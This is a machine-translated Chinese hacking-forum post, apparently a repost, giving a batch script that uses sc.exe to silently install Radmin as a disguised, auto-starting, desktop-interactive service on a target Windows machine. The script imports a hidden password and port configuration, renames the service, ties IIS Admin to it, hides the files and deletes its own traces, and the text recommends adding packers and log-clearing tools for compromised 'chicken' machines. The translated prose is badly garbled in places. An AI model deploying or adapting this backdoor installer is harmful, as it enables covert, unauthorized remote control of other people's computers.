SC + BAT work together to create a perfect personal version of Radmin

xiaoxiao2021-03-06  40

"One-click RADMIN Replacement Service" I want everyone to hear it, but I personally feel that it is very uncere perfect, and trouble, so the monks don't only, I wrote one or two personal opinions, please also give more points.

We all know that the RADMIN service is installed by "r_server.exe / install", the service name "r_server", the display name "Remote Administrator Service", no description, the principle of one-click RADMIN replacement service is deleted The system is not commonly used and the service has no significant impact on the system. First, R_Server.exe is renamed and replaced the EXE process file running in the original service (ie, the system service deleted), and then copy the desired "admdll.dll" and "raddrv.dll" to the same directory, here It should be noted that there are two registry that need to import, one is a file containing registry information such as port, password, etc. (REG file must be returned), the registry key_local_machine / system / radmin, the other is the service registration Table file, so you must first install R_Server on your own computer, then export the content in the registry key hkey_local_machine / system / currentControlSet / Services / R_Server, and modify the service name, description, etc. in the inside, but don't know Does this have ever thought that the imported service can only be applied to a computer as your operating system (you have to include system disks, "because you basically can't modify the process file. The path "ImagePath" in the registration form, so personal thinking that the replacement service is troublesome and inconvenient, and it is not advisable. ()

For an angle, if there is any way to install the R_Server service, that is, just like the gray pigeons, we can customize the service name, the description and path come from launching "r_server.exe", let it replace R_Server service ? Theoretically, the answer to the practice is affirmative. Next, I have to see "sc.exe". The SC is a very powerful service management program, which has similar places with Net.exe in the usage. In the XP and 2003 comes with sc.exe, you can try to enter the SC Enter after CMD, will There are a lot of content related to service, which is the power of SC.

The next side is a piece of code I bonded in SC and BAT, you can completely replace R_Server service, do real perfect personal version of Radmin. ------ Code Start ------ @ echo off @ remote Hide Executive Steps

@sc stop r_server @ remote Stop "R_Server" service (prevents someone from being installed on this computer) @SC DELETE R_SERVER @ REM Delete "R_Server" service (PS: never know what is doing what is doing --_-!)

@Regedit / s Radmin.reg@rem Imports the configuration of the configured RADMIN port, password, and other registry information in a hidden manner.

@sc create newservice binpath = "% systemroot% / system32 / xxx.exe / service" type = = o = interact start = auto @ remote On the local computer, establish an automatic "NewService" service running in "XXX. The independent process of EXE, and allows this service to interact with desktop (an important factor in Radmin desktop control ^ _ ^).

@sc config newservice displayName = newservice123 @REM Configure the "NewService" service display name "newservice123". @SC Description NewService NewService456 @ REM Change the Description of the "NewService" service as "NewService456".

@SC config iisadmin depend = newservice @ remote Let "Iisadmin (IIS Admin Service" service in "newservice" service (PS: This is not a nothing, two can also be fake :))

@attrib h r xxx.exe@attrib h r admdll.dll@ttrib h r raddrv.dll@rem Adds the above three files, add hidden and read-only properties.

@SC Start NewService @ Rem Start the "NewService" service.

@del Radmin.reg@del sc.exe@del self-decompressed package. EXE @ Rem does not need to explain? ------ Code End ------

(Note: 1. "xxx.exe" is the "r_server.exe" file in the original radmin directory, can be renamed at will .2. You can remove the above "@rem text", do not remove it, will not display In the DOS execution window ^ _ ^. "Representing the system disk,"% systemroot% / system32 "represents the system32 directory under the Windows or Winnt directory,"% systemroot% / "represents system disks Windows or Winnt directory.)

If this is running in NT, XP, 2003 should be relatively perfect, if you install Win9x, you can also try to start from the registry (it is recommended to be a Win9X dedicated server, Solvency service has not been discovered, but found in the registry startup, stealing chicken does not erode me -_-!), Related articles can learn from "Windows self-starting mode": http://www.3800cc.com / Info/1698.htm I suggest you don't do the compressed package too much, there is no need to add more than 500K, try to add compressed shells to some EXE and DLL files, and add some other gadgets in the compressed package. For example, clear the logs such as the log, see how everyone is flexible. It is recommended that you use the "Radmin3.2 shadow version of the installation version", whether it is used or testing is relatively easy. Download address: http://www.3800cc.com/soft/3897.htm

The above text is also a personal point of view. Black Eagle Base http://www.3800cc.comeyuan.name

[Original]

转载请注明原文地址:https://www.9cbs.com/read-71154.html

New Post(0)